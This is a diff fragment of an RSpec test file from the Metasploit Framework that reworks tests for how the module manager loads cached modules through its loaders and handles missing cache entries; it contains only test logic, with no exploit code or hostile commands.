+ first_loader = module_manager.send(:loaders).first + expect(first_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true, cached_metadata: instance_of(Msf::Modules::Metadata::Obj)).and_return(false) + + second_loader = module_manager.send(:loaders).second + expect(second_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true, cached_metadata: instance_of(Msf::Modules::Metadata::Obj)).and_call_original + + load_cached_module end - context 'with false' do - let(:module_loaded) do - false - end + it 'should force load using #load_module on the loader' do + expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( + :load_module + ).with( + parent_path, + type, + reference_name, + :force => true, + :cached_metadata => instance_of(Msf::Modules::Metadata::Obj) + ).and_call_original - it { is_expected.to be_falsey } + load_cached_module end - context 'with true' do - let(:module_loaded) do - true + context 'return from load_module' do + before(:example) do + # Only the first one gets it since it finds the module + loader = module_manager.send(:loaders).first + expect(loader).to receive(:load_module).and_return(module_loaded) end - it { is_expected.to be_truthy } + context 'with false' do + let(:module_loaded) do + false + end + + it { is_expected.to be_falsey } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { is_expected.to be_truthy } + end end end - end - context 'without module info in cache' do - let(:module_info_by_path) do - {} + context 'without module info in cache' do + before(:example) do + allow(Msf::Modules::Metadata::Cache.instance).to receive(:get_module_reference).with(anything).and_return(nil) + end + it { is_expected.to be_falsey } end - - it { is_expected.to be_falsey } end + + end context '#refresh_cache_from_module_files' do